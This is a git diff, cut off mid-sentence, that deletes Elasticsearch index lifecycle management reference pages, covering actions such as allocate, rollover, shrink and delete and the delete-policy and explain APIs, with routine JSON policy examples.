-You can configure this action to modify both the allocation rules and number of replicas, 
-only the allocation rules, or only the number of replicas. 
-For more information about how {es} uses replicas for scaling, see
-<<scalability>>. See <<shard-allocation-filtering>> for more information about
-controlling where {es} allocates shards of a particular index.
-
-
-[[ilm-allocate-options]]
-==== Options
-
-You must specify the number of replicas or at least one 
-`include`, `exclude`, or `require` option. 
-An empty allocate action is invalid.
-
-For more information about using custom attributes for shard allocation, 
-see <<shard-allocation-filtering>>.
-
-`number_of_replicas`::
-(Optional, integer)
-Number of replicas to assign to the index.
-
-`include`::
-(Optional, object)
-Assigns an index to nodes that have at least _one_ of the specified custom attributes.
-
-`exclude`::
-(Optional, object)
-Assigns an index to nodes that have _none_ of the specified custom attributes.
-
-`require`::
-(Optional, object)
-Assigns an index to nodes that have _all_ of the specified custom attributes.
-
-[[ilm-allocate-ex]]
-==== Example
-
-The allocate action in the following policy changes the index's number of replicas to `2`. 
-The index allocation rules are not changed.
-
-[source,console]
---------------------------------------------------
-PUT _ilm/policy/my_policy
-{
-  "policy": {
-    "phases": {
-      "warm": {
-        "actions": {
-          "allocate" : {
-            "number_of_replicas" : 2
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[[ilm-allocate-assign-index-attribute-ex]]
-===== Assign index to nodes using a custom attribute
-
-The allocate action in the following policy assigns the index to nodes 
-that have a `box_type` of _hot_ or _warm_.
-
-To designate a node's `box_type`, you set a custom attribute in the node configuration.
-For example, set `node.attr.box_type: hot` in `elasticsearch.yml`. 
-For more information, see <<index-allocation-filters>>.
-
-[source,console]
---------------------------------------------------
-PUT _ilm/policy/my_policy
-{
-  "policy": {
-    "phases": {
-      "warm": {
-        "actions": {
-          "allocate" : {
-            "include" : {
-              "box_type": "hot,warm"
-            }
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[[ilm-allocate-assign-index-multi-attribute-ex]]
-===== Assign index to nodes based on multiple attributes
-
-The allocate action can also assign indices to nodes based on multiple node
-attributes. The following action assigns indices based on the `box_type` and
-`storage` node attributes.
-
-[source,console]
-----
-PUT _ilm/policy/my_policy
-{
-  "policy": {
-    "phases": {
-      "cold": {
-        "actions": {
-          "allocate" : {
-            "require" : {
-              "box_type": "cold",
-              "storage": "high"
-            }
-          }
-        }
-      }
-    }
-  }
-}
-----
-
-[[ilm-allocate-assign-index-node-ex]]
-===== Assign index to a specific node and update replica settings
-
-The allocate action in the following policy updates the index to have one replica per shard 
-and be allocated to nodes that have a `box_type` of _cold_. 
-
-To designate a node's `box_type`, you set a custom attribute in the node configuration.
-For example, set `node.attr.box_type: cold` in `elasticsearch.yml`. 
-For more information, see <<index-allocation-filters>>.
-
-[source,console]
---------------------------------------------------
-PUT _ilm/policy/my_policy
-{
-  "policy": {
-    "phases": {
-      "warm": {
-        "actions": {
-          "allocate" : {
-            "number_of_replicas": 1,
-            "require" : {
-              "box_type": "cold"
-            }
-        }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/ilm/actions/ilm-delete.asciidoc b/docs/reference/ilm/actions/ilm-delete.asciidoc
deleted file mode 100644
index f6e4c6323c9..00000000000
--- a/docs/reference/ilm/actions/ilm-delete.asciidoc
+++ /dev/null
@@ -1,37 +0,0 @@
-[role="xpack"]
-[[ilm-delete]]
-=== Delete
-
-Phases allowed: delete.
-
-Permanently removes the index.
-
-[[ilm-delete-options]]
-==== Options
-
-`delete_searchable_snapshot`::
-beta:[]
-(Optional, Boolean)
-Deletes the searchable snapshot created in the cold phase. 
-Defaults to `true`.
-This option is applicable when the <<ilm-searchable-snapshot,searchable
-snapshot>> action is used in the cold phase.
-
-[[ilm-delete-action-ex]]
-==== Example
-
-[source,console]
---------------------------------------------------
-PUT _ilm/policy/my_policy
-{
-  "policy": {
-    "phases": {
-      "delete": {
-        "actions": {
-          "delete" : { }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/ilm/actions/ilm-forcemerge.asciidoc b/docs/reference/ilm/actions/ilm-forcemerge.asciidoc
deleted file mode 100644
index ceed578c0d8..00000000000
--- a/docs/reference/ilm/actions/ilm-forcemerge.asciidoc
+++ /dev/null
@@ -1,56 +0,0 @@
-[role="xpack"]
-[[ilm-forcemerge]]
-=== Force merge
-
-Phases allowed: hot, warm.
-
-<<indices-forcemerge,Force merges>> the index into 
-the specified maximum number of <<indices-segments,segments>>.
-
-This action makes the index <<dynamic-index-settings,read-only>>.
-
-To use the `forcemerge` action in the `hot` phase, the `rollover` action *must* be present.
-If no rollover action is configured, {ilm-init} will reject the policy. 
-
-[NOTE]
-The `forcemerge` action is best effort. It might happen that some of the
-shards are relocating, in which case they will not be merged.
-
-[[ilm-forcemerge-options]]
-==== Options
-
-`max_num_segments`::
-(Required, integer) 
-Number of segments to merge to. To fully merge the index, set to `1`.
-
-`index_codec`::
-(Optional, string)
-Codec used to compress the document store. The only accepted value is
-`best_compression`, which uses {wikipedia}/DEFLATE[DEFLATE] for a higher
-compression ratio but slower stored fields performance. To use the default LZ4
-codec, omit this argument.
-+
-WARNING: If using `best_compression`, {ilm-init} will <<indices-close,close>>
-and then <<indices-open-close,re-open>> the index prior to the force merge.
-While closed, the index will be unavailable for read or write operations.
-
-[[ilm-forcemerge-action-ex]]
-==== Example
-
-[source,console]
---------------------------------------------------
-PUT _ilm/policy/my_policy
-{
-  "policy": {
-    "phases": {
-      "warm": {
-        "actions": {
-          "forcemerge" : {
-            "max_num_segments": 1
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/ilm/actions/ilm-freeze.asciidoc b/docs/reference/ilm/actions/ilm-freeze.asciidoc
deleted file mode 100644
index abc5b4ce4a6..00000000000
--- a/docs/reference/ilm/actions/ilm-freeze.asciidoc
+++ /dev/null
@@ -1,37 +0,0 @@
-[role="xpack"]
-[[ilm-freeze]]
-=== Freeze
-
-Phases allowed: cold.
-
-<<frozen-indices, Freezes>> an index to minimize its memory footprint.
-
-IMPORTANT: Freezing an index closes the index and reopens it within the same API call.
-This means that for a short time no primaries are allocated.
-The cluster will go red until the primaries are allocated.
-This limitation might be removed in the future.
-
-[[ilm-freeze-options]]
-==== Options
-
-None.
-
-[[ilm-freeze-ex]]
-==== Example
-
-[source,console]
---------------------------------------------------
-PUT _ilm/policy/my_policy
-{
-  "policy": {
-    "phases": {
-      "cold": {
-        "actions": {
-          "freeze" : { }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
diff --git a/docs/reference/ilm/actions/ilm-migrate.asciidoc b/docs/reference/ilm/actions/ilm-migrate.asciidoc
deleted file mode 100644
index b829aa68341..00000000000
--- a/docs/reference/ilm/actions/ilm-migrate.asciidoc
+++ /dev/null
@@ -1,97 +0,0 @@
-[role="xpack"]
-[[ilm-migrate]]
-=== Migrate
-
-Phases allowed: warm, cold.
-
-Moves the index to the <<data-tiers, data tier>> that corresponds
-to the current phase by updating the <<tier-preference-allocation-filter, `index.routing.allocation.include._tier_preference`>>
-index setting.
-{ilm-init} automatically injects the migrate action in the warm and cold
-phases if no allocation options are specified with the <<ilm-allocate, allocate>> action.
-If you specify an allocate action that only modifies the number of index
-replicas, {ilm-init} reduces the number of replicas before migrating the index.
-To prevent automatic migration without specifying allocation options,
-you can explicitly include the migrate action and set the enabled option to `false`.
-
-In the warm phase, the `migrate` action sets <<tier-preference-allocation-filter, `index.routing.allocation.include._tier_preference`>>
-to `data_warm,data_hot`. This moves the index to nodes in the
-<<warm-tier, warm tier>>. If there are no nodes in the warm tier,  it falls back to the
-<<hot-tier, hot tier>>.
-
-In the cold phase, the `migrate` action sets
-<<tier-preference-allocation-filter, `index.routing.allocation.include._tier_preference`>>
-to `data_cold,data_warm,data_hot`. This moves the index to nodes in the
-<<cold-tier, cold tier>>. If there are no nodes in the cold tier, it falls back to the
-<<warm-tier, warm>> tier, or the <<hot-tier, hot>> tier if there are no warm nodes available.
-
-The migrate action is not allowed in the hot phase.
-The initial index allocation is performed <<data-tier-allocation, automatically>>,
-and can be configured manually or via <<index-templates, index templates>>.
-
-[[ilm-migrate-options]]
-==== Options
-
-`enabled`::
-(Optional, Boolean)
-Controls whether {ilm-init} automatically migrates the index during this phase.
-Defaults to `true`.
-
-[[ilm-enabled-migrate-ex]]
-==== Example
-
-In the following policy, the allocate action is specified to reduce the number of replicas before {ilm-init} migrates the index to warm nodes.
-
-NOTE: Explicitly specifying the migrate action is not required--{ilm-init} automatically performs the migrate action unless you specify allocation options or disable migration.
-
-[source,console]
---------------------------------------------------
-PUT _ilm/policy/my_policy
-{
-  "policy": {
-    "phases": {
-      "warm": {
-        "actions": {
-          "migrate" : {
-          },
-          "allocate": {
-            "number_of_replicas": 1
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[[ilm-disable-migrate-ex]]
-==== Disable automatic migration
-
-The migrate action in the following policy is disabled and
-the allocate action assigns the index to nodes that have a
-`rack_id` of _one_ or _two_.
-
-NOTE: Explicitly disabling the migrate action is not required--{ilm-init} does not inject the migrate action if you specify allocation options.
-
-[source,console]
---------------------------------------------------
-PUT _ilm/policy/my_policy
-{
-  "policy": {
-    "phases": {
-      "warm": {
-        "actions": {
-          "migrate" : {
-           "enabled": false
-          },
-          "allocate": {
-            "include" : {
-              "rack_id": "one,two"
-            }
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/ilm/actions/ilm-readonly.asciidoc b/docs/reference/ilm/actions/ilm-readonly.asciidoc
deleted file mode 100644
index fbb51252687..00000000000
--- a/docs/reference/ilm/actions/ilm-readonly.asciidoc
+++ /dev/null
@@ -1,31 +0,0 @@
-[role="xpack"]
-[[ilm-readonly]]
-=== Read only
-
-Phases allowed: warm.
-
-Makes the index <<index-blocks-read-only,read-only>>.
-
-[[ilm-read-only-options]]
-==== Options
-
-None.
-
-[[ilm-read-only-ex]]
-==== Example
-
-[source,console]
---------------------------------------------------
-PUT _ilm/policy/my_policy
-{
-  "policy": {
-    "phases": {
-      "warm": {
-        "actions": {
-          "readonly" : { }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/ilm/actions/ilm-rollover.asciidoc b/docs/reference/ilm/actions/ilm-rollover.asciidoc
deleted file mode 100644
index c0d5659ba03..00000000000
--- a/docs/reference/ilm/actions/ilm-rollover.asciidoc
+++ /dev/null
@@ -1,203 +0,0 @@
-[role="xpack"]
-[[ilm-rollover]]
-=== Rollover
-
-Phases allowed: hot.
-
-Rolls over a target to a new index when the existing index meets one of the rollover conditions.
-
-IMPORTANT: If the rollover action is used on a <<ccr-put-follow,follower index>>,
-policy execution waits until the leader index rolls over (or is
-<<skipping-rollover, otherwise marked complete>>),
-then converts the follower index into a regular index with the
-<<ilm-unfollow, Unfollow action>>.
-
-A rollover target can be a <<data-streams, data stream>> or an <<indices-aliases, index alias>>.
-When targeting a data stream, the new index becomes the data stream's
-<<data-stream-write-index,write index>> and its generation is incremented.
-
-To roll over an <<indices-aliases, index alias>>, the alias and its write index
-must meet the following conditions:
-
-* The index name must match the pattern '^.*-\\d+$', for example (`my-index-000001`).
-* The `index.lifecycle.rollover_alias` must be configured as the alias to roll over. 
-* The index must be the <<indices-rollover-is-write-index, write index>> for the alias.
-
-For example, if `my-index-000001` has the alias `my_data`, 
-the following settings must be configured. 
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "settings": {
-    "index.lifecycle.name": "my_policy",
-    "index.lifecycle.rollover_alias": "my_data"
-  },
-  "aliases": {
-    "my_data": {
-      "is_write_index": true
-    }
-  }
-}
---------------------------------------------------
-
-[[ilm-rollover-options]]
-==== Options
-
-You must specify at least one rollover condition. 
-An empty rollover action is invalid.
-
-`max_age`::
-(Optional,  <<time-units, time units>>)
-Triggers roll over after the maximum elapsed time from index creation is reached.
-The elapsed time is always calculated since the index creation time, even if the
-index origination date is configured to a custom date (via the
-<<index-lifecycle-parse-origination-date, index.lifecycle.parse_origination_date>> or
-<<index-lifecycle-origination-date, index.lifecycle.origination_date>> settings)
-
-`max_docs`::
-(Optional, integer)
-Triggers roll over after the specified maximum number of documents is reached.
-Documents added since the last refresh are not included in the document count.
-The document count does *not* include documents in replica shards.
-
-`max_size`::
-(Optional, <<byte-units, byte units>>)
-Triggers roll over when the index reaches a certain size.
-This is the total size of all primary shards in the index. 
-Replicas are not counted toward the maximum index size.
-+
-TIP: To see the current index size, use the <<cat-indices, _cat indices>> API. 
-The `pri.store.size` value shows the combined size of all primary shards.
-
-[[ilm-rollover-ex]]
-==== Example
-
-[[ilm-rollover-size-ex]]
-===== Roll over based on index size
-
-This example rolls the index over when it is at least 100 gigabytes.
-
-[source,console]
---------------------------------------------------
-PUT _ilm/policy/my_policy
-{
-  "policy": {
-    "phases": {
-      "hot": {
-        "actions": {
-          "rollover" : {
-            "max_size": "100GB"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[ilm-rollover-documents-ex]]
-===== Roll over based on document count
-
-This example rolls the index over when it contains at least one hundred million documents.
-
-[source,console]
---------------------------------------------------
-PUT _ilm/policy/my_policy
-{
-  "policy": {
-    "phases": {
-      "hot": {
-        "actions": {
-          "rollover" : {
-            "max_docs": 100000000
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
- 
-[ilm-rollover-age-ex]]
-===== Roll over based on index age
-
-This example rolls the index over if it was created at least 7 days ago.
-
-[source,console]
---------------------------------------------------
-PUT _ilm/policy/my_policy
-{
-  "policy": {
-    "phases": {
-      "hot": {
-        "actions": {
-          "rollover" : {
-            "max_age": "7d"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[ilm-rollover-conditions-ex]]
-===== Roll over using multiple conditions
-
-When you specify multiple rollover conditions, 
-the index is rolled over when _any_ of the conditions are met.
-This example rolls the index over if it is at least 7 days old or at least 100 gigabytes. 
-
-[source,console]
---------------------------------------------------
-PUT _ilm/policy/my_policy
-{
-  "policy": {
-    "phases": {
-      "hot": {
-        "actions": {
-          "rollover" : {
-            "max_age": "7d",
-            "max_size": "100GB"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[ilm-rollover-block-ex]]
-===== Rollover condition blocks phase transition
-
-The rollover action only completes if one of its conditions is met. 
-This means that any subsequent phases are blocked until rollover succeeds.
-
-For example, the following policy deletes the index one day after it rolls over. 
-It does not delete the index one day after it was created.
-
-[source,console]
---------------------------------------------------
-PUT /_ilm/policy/rollover_policy
-{
-  "policy": {
-    "phases": {
-      "hot": {
-        "actions": {
-          "rollover": {
-            "max_size": "50G"
-          }
-        }
-      },
-      "delete": {
-        "min_age": "1d",
-        "actions": {
-          "delete": {}
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/ilm/actions/ilm-searchable-snapshot.asciidoc b/docs/reference/ilm/actions/ilm-searchable-snapshot.asciidoc
deleted file mode 100644
index a0ab91229ac..00000000000
--- a/docs/reference/ilm/actions/ilm-searchable-snapshot.asciidoc
+++ /dev/null
@@ -1,67 +0,0 @@
-[role="xpack"]
-[[ilm-searchable-snapshot]]
-=== Searchable snapshot
-
-beta::[]
-
-Phases allowed: cold.
-
-Takes a snapshot of the managed index in the configured repository
-and mounts it as a searchable snapshot.
-If the managed index is part of a <<data-streams, data stream>>,
-the mounted index replaces the original index in the data stream.
-
-[NOTE]
-This action cannot be performed on a data stream's write index. Attempts to do
-so will fail. To convert the index to a searchable snapshot, first
-<<manually-roll-over-a-data-stream,manually roll over>> the data stream. This
-creates a new write index. Because the index is no longer the stream's write
-index, the action can then convert it to a searchable snapshot.
-Using a policy that makes use of the <<ilm-rollover, rollover>> action
-in the hot phase will avoid this situation and the need for a manual rollover for future
-managed indices.
-
-By default, this snapshot is deleted by the <<ilm-delete, delete action>> in the delete phase.
-To keep the snapshot, set `delete_searchable_snapshot` to `false` in the delete action.
-
-[[ilm-searchable-snapshot-options]]
-==== Options
-
-`snapshot_repository`::
-(Required, string)
-Specifies where to store the snapshot. 
-See <<snapshots-register-repository>> for more information.
-
-`force_merge_index`::
-(Optional, Boolean)
-Force merges the managed index to one segment.
-Defaults to `true`.
-If the managed index was already force merged using the
-<<ilm-forcemerge, force merge action>> in a previous action
-the `searchable snapshot` action force merge step will be a no-op.
-
-[NOTE]
-The `forcemerge` action is best effort. It might happen that some of
-the shards are relocating, in which case they will not be merged.
-The `searchable_snapshot` action will continue executing even if not all shards
-are force merged.
-
-[[ilm-searchable-snapshot-ex]]
-==== Examples
-[source,console]
---------------------------------------------------
-PUT _ilm/policy/my_policy
-{
-  "policy": {
-    "phases": {
-      "cold": {
-        "actions": {
-          "searchable_snapshot" : {
-            "snapshot_repository" : "backing_repo"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/ilm/actions/ilm-set-priority.asciidoc b/docs/reference/ilm/actions/ilm-set-priority.asciidoc
deleted file mode 100644
index 7f22bb64bdb..00000000000
--- a/docs/reference/ilm/actions/ilm-set-priority.asciidoc
+++ /dev/null
@@ -1,44 +0,0 @@
-[role="xpack"]
-[[ilm-set-priority]]
-=== Set priority
-
-Phases allowed: hot, warm, cold.
-
-Sets the <<recovery-prioritization, priority>> of the index as
-soon as the policy enters the hot, warm, or cold phase. 
-Higher priority indices are recovered before indices with lower priorities following a node restart. 
-
-Generally, indexes in the hot phase should have the highest value and
-indexes in the cold phase should have the lowest values. 
-For example: 100 for the hot phase, 50 for the warm phase, and 0 for the cold phase.
-Indices that don't set this value have a default priority of 1.
-
-[[ilm-set-priority-options]]
-==== Options
-
-`priority`::
-(Required, integer)  
-The priority for the index. 
-Must be 0 or greater.
-Set to `null` to remove the priority.
-
-[[ilm-set-priority-ex]]
-==== Example
-
-[source,console]
---------------------------------------------------
-PUT _ilm/policy/my_policy
-{
-  "policy": {
-    "phases": {
-      "warm": {
-        "actions": {
-          "set_priority" : {
-            "priority": 50
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/ilm/actions/ilm-shrink.asciidoc b/docs/reference/ilm/actions/ilm-shrink.asciidoc
deleted file mode 100644
index ab5e3fe38cf..00000000000
--- a/docs/reference/ilm/actions/ilm-shrink.asciidoc
+++ /dev/null
@@ -1,64 +0,0 @@
-[role="xpack"]
-[[ilm-shrink]]
-=== Shrink
-
-Phases allowed: warm
-
-Sets an index to <<dynamic-index-settings, read-only>> 
-and shrinks it into a new index with fewer primary shards. 
-The name of the new index is of the form `shrink-<original-index-name>`. 
-For example, if the name of the source index is _logs_, 
-the name of the shrunken index is _shrink-logs_.
-
-The shrink action allocates all primary shards of the index to one node so it 
-can call  the <<indices-shrink-index,Shrink API>> to shrink the index.
-After shrinking, it swaps aliases that point to the original index to the new shrunken index. 
-
-[IMPORTANT]
-If the shrink action is used on a <<ccr-put-follow,follower index>>, 
-policy execution waits until the leader index rolls over (or is
-<<skipping-rollover, otherwise marked complete>>), 
-then converts the follower index into a regular index with the 
-<<ilm-unfollow,unfollow>> action before performing the shrink operation.
-
-If the managed index is part of a <<data-streams, data stream>>,
-the shrunken index replaces the original index in the data stream.
-
-[NOTE]
-This action cannot be performed on a data stream's write index. Attempts to do
-so will fail. To shrink the index, first
-<<manually-roll-over-a-data-stream,manually roll over>> the data stream. This
-creates a new write index. Because the index is no longer the stream's write
-index, the action can resume shrinking it.
-Using a policy that makes use of the <<ilm-rollover, rollover>> action
-in the hot phase will avoid this situation and the need for a manual rollover for future
-managed indices.
-
-[[ilm-shrink-options]]
-==== Shrink options
-`number_of_shards`::
-(Required, integer) 
-Number of shards to shrink to. 
-Must be a factor of the number of shards in the source index.
-
-
-[[ilm-shrink-ex]]
-==== Example
- 
-[source,console]
---------------------------------------------------
-PUT _ilm/policy/my_policy
-{
-  "policy": {
-    "phases": {
-      "warm": {
-        "actions": {
-          "shrink" : {
-            "number_of_shards": 1
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/ilm/actions/ilm-unfollow.asciidoc b/docs/reference/ilm/actions/ilm-unfollow.asciidoc
deleted file mode 100644
index 0ad6173f827..00000000000
--- a/docs/reference/ilm/actions/ilm-unfollow.asciidoc
+++ /dev/null
@@ -1,58 +0,0 @@
-[role="xpack"]
-[[ilm-unfollow]]
-=== Unfollow
-
-Phases allowed: hot, warm, cold.
-
-Converts a {ref}/ccr-apis.html[{ccr-init}] follower index into a regular index. 
-This enables the shrink, rollover, and searchable snapshot actions
-to be be performed safely on follower indices.
-You can also use unfollow directly when moving follower indices through the lifecycle.
-Has no effect on indices that are not followers, phase execution just moves to the next action.
-
-[NOTE]
-This action is triggered automatically by the <<ilm-rollover, rollover>>,
-<<ilm-shrink, shrink>>, and
-<<ilm-searchable-snapshot, searchable snapshot>> actions when they are
-applied to follower indices.
-
-This action waits until is it safe to convert a follower index into a regular index. 
-The following conditions must be met:
-
-* The leader index must have `index.lifecycle.indexing_complete` set to `true`.
-This happens automatically if the leader index is rolled over using the
-<<ilm-rollover, rollover>> action, and can be set manually using
-the <<indices-update-settings,index settings>> API.
-* All operations performed on the leader index have been replicated to the follower index. 
-This ensures that no operations are lost when the index is converted.
-
-Once these conditions are met, unfollow performs the following operations:
-
-* Pauses indexing following for the follower index.
-* Closes the follower index.
-* Unfollows the leader index.
-* Opens the follower index (which is at this point is a regular index).
-
-[[ilm-unfollow-options]]
-==== Options
-
-None.
-
-[[ilm-unfollow-ex]]
-==== Example
-
-[source,console]
---------------------------------------------------
-PUT _ilm/policy/my_policy
-{
-  "policy": {
-    "phases": {
-      "hot": {
-        "actions": {
-          "unfollow" : {}
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/ilm/actions/ilm-wait-for-snapshot.asciidoc b/docs/reference/ilm/actions/ilm-wait-for-snapshot.asciidoc
deleted file mode 100644
index 5a953417a64..00000000000
--- a/docs/reference/ilm/actions/ilm-wait-for-snapshot.asciidoc
+++ /dev/null
@@ -1,36 +0,0 @@
-[role="xpack"]
-[[ilm-wait-for-snapshot]]
-=== Wait for snapshot
-
-Phases allowed: delete.
-
-Waits for the specified {slm-init} policy to be executed before removing the index.
-This ensures that a snapshot of the deleted index is available. 
-
-[[ilm-wait-for-snapshot-options]]
-==== Options
-
-`policy`::
-(Required, string)
-Name of the {slm-init} policy that the delete action should wait for.
-
-[[ilm-wait-for-snapshot-ex]]
-==== Example
-
-[source,console]
---------------------------------------------------
-PUT _ilm/policy/my_policy
-{
-  "policy": {
-    "phases": {
-      "delete": {
-        "actions": {
-          "wait_for_snapshot" : {
-            "policy": "slm-policy-name"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
\ No newline at end of file
diff --git a/docs/reference/ilm/apis/delete-lifecycle.asciidoc b/docs/reference/ilm/apis/delete-lifecycle.asciidoc
deleted file mode 100644
index 51af2b30791..00000000000
--- a/docs/reference/ilm/apis/delete-lifecycle.asciidoc
+++ /dev/null
@@ -1,89 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[ilm-delete-lifecycle]]
-=== Delete lifecycle policy API
-++++
-<titleabbrev>Delete policy</titleabbrev>
-++++
-
-Deletes an index lifecycle policy.
-
-[[ilm-delete-lifecycle-request]]
-==== {api-request-title}
-
-`DELETE _ilm/policy/<policy_id>`
-
-[[ilm-delete-lifecycle-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `manage_ilm`
-cluster privilege to use this API. For more information, see
-<<security-privileges>>.
-
-[[ilm-delete-lifecycle-desc]]
-==== {api-description-title}
-
-Deletes the specified lifecycle policy definition. You cannot delete policies
-that are currently in use. If the policy is being used to manage any indices,
-the request fails and returns an error.
-
-[[ilm-delete-lifecycle-path-params]]
-==== {api-path-parms-title}
-
-`<policy_id>`::
-  (Required, string) Identifier for the policy.
-
-[[ilm-delete-lifecycle-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-[[ilm-delete-lifecycle-example]]
-==== {api-examples-title}
-
-The following example deletes `my_policy`:
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-PUT _ilm/policy/my_policy
-{
-  "policy": {
-    "phases": {
-      "warm": {
-        "min_age": "10d",
-        "actions": {
-          "forcemerge": {
-            "max_num_segments": 1
-          }
-        }
-      },
-      "delete": {
-        "min_age": "30d",
-        "actions": {
-          "delete": {}
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-DELETE _ilm/policy/my_policy
---------------------------------------------------
-// TEST[continued]
-
-When the policy is successfully deleted, you receive the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "acknowledged": true
-}
---------------------------------------------------
diff --git a/docs/reference/ilm/apis/explain.asciidoc b/docs/reference/ilm/apis/explain.asciidoc
deleted file mode 100644
index 003d10af6c0..00000000000
--- a/docs/reference/ilm/apis/explain.asciidoc
+++ /dev/null
@@ -1,314 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[ilm-explain-lifecycle]]
-=== Explain lifecycle API
-++++
-<titleabbrev>Explain lifecycle</titleabbrev>
-++++
-
-Retrieves the current lifecycle status for one or more indices. For data
-streams, the API retrieves the current lifecycle status for the stream's backing
-indices.
-
-[[ilm-explain-lifecycle-request]]
-==== {api-request-title}
-
-`GET <target>/_ilm/explain`
-
-[[ilm-explain-lifecycle-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the
-`view_index_metadata` or `manage_ilm` or both privileges on the indices being
-managed to use this API. For more information, see <<security-privileges>>.
-
-[[ilm-explain-lifecycle-desc]]
-==== {api-description-title}
-
-Retrieves information about the index's current lifecycle state, such as
-the currently executing phase, action, and step. Shows when the index entered
-each one, the definition of the running phase, and information
-about any failures.
-
-[[ilm-explain-lifecycle-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Required, string)
-Comma-separated list of data streams, indices, and index aliases to target.
-Wildcard expressions (`*`) are supported.
-+
-To target all data streams and indices in a cluster, use `_all` or `*`.
-
-[[ilm-explain-lifecycle-query-params]]
-==== {api-query-parms-title}
-
-`only_managed`::
-  (Optional, Boolean) Filters the returned indices to only indices that are managed by
-  {ilm-init}.
-
-`only_errors`::
-  (Optional, Boolean) Filters the returned indices to only indices that are managed by
-  {ilm-init} and are in an error state, either due to an encountering an error while
-  executing the policy, or attempting to use a policy that does not exist.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-[[ilm-explain-lifecycle-example]]
-==== {api-examples-title}
-
-The following example retrieves the lifecycle state of `my-index-000001`:
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-PUT _ilm/policy/my_policy
-{
-  "policy": {
-    "phases": {
-      "warm": {
-        "min_age": "10d",
-        "actions": {
-          "forcemerge": {
-            "max_num_segments": 1
-          }
-        }
-      },
-      "delete": {
-        "min_age": "30d",
-        "actions": {
-          "delete": {}
-        }
-      }
-    }
-  }
-}
-
-PUT my-index-000001
-{
-  "settings": {
-    "index.lifecycle.name": "my_policy",
-    "index.number_of_replicas": 0
-  }
-}
-
-GET /_cluster/health?wait_for_status=green&timeout=10s
---------------------------------------------------
-// TEST
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_ilm/explain
---------------------------------------------------
-// TEST[continued]
-
-When management of the index is first taken over by {ilm-init}, `explain` shows
-that the index is managed and in the `new` phase:
-
-[source,console-result]
---------------------------------------------------
-{
-  "indices": {
-    "my-index-000001": {
-      "index": "my-index-000001",
-      "managed": true, <1>
-      "policy": "my_policy", <2>
-      "lifecycle_date_millis": 1538475653281, <3>
-      "age": "15s", <4>
-      "phase": "new",
-      "phase_time_millis": 1538475653317, <5>
-      "action": "complete",
-      "action_time_millis": 1538475653317, <6>
-      "step": "complete",
-      "step_time_millis": 1538475653317 <7>
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[skip:no way to know if we will get this response immediately]
-
-<1> Shows if the index is being managed by {ilm-init}. If the index is not managed by
-{ilm-init} the other fields will not be shown
-<2> The name of the policy which {ilm-init} is using for this index
-<3> The timestamp used for the `min_age`
-<4> The age of the index (used for calculating when to enter the next phase)
-<5> When the index entered the current phase
-<6> When the index entered the current action
-<7> When the index entered the current step
-
-Once the policy is running on the index, the response includes a
-`phase_execution` object that shows the definition of the current phase.
-Changes to the underlying policy will not affect this index until the current
-phase completes.
-
-[source,console-result]
---------------------------------------------------
-{
-  "indices": {
-    "test-000069": {
-      "index": "test-000069",
-      "managed": true,
-      "policy": "my_lifecycle3",
-      "lifecycle_date_millis": 1538475653281,
-      "lifecycle_date": "2018-10-15T13:45:21.981Z",
-      "age": "25.14s",
-      "phase": "hot",
-      "phase_time_millis": 1538475653317,
-      "phase_time": "2018-10-15T13:45:22.577Z",
-      "action": "rollover",
-      "action_time_millis": 1538475653317,
-      "action_time": "2018-10-15T13:45:22.577Z",
-      "step": "attempt-rollover",
-      "step_time_millis": 1538475653317,
-      "step_time": "2018-10-15T13:45:22.577Z",
-      "phase_execution": {
-        "policy": "my_lifecycle3",
-        "phase_definition": { <1>
-          "min_age": "0ms",
-          "actions": {
-            "rollover": {
-              "max_age": "30s"
-            }
-          }
-        },
-        "version": 3, <2>
-        "modified_date": "2018-10-15T13:21:41.576Z", <3>
-        "modified_date_in_millis": 1539609701576 <4>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[skip:not possible to get the cluster into this state in a docs test]
-
-<1> The JSON phase definition loaded from the specified policy when the index
-entered this phase
-<2> The version of the policy that was loaded
-<3> The date the loaded policy was last modified
-<4> The epoch time when the loaded policy was last modified
-
-If {ilm-init} is waiting for a step to complete, the response includes status
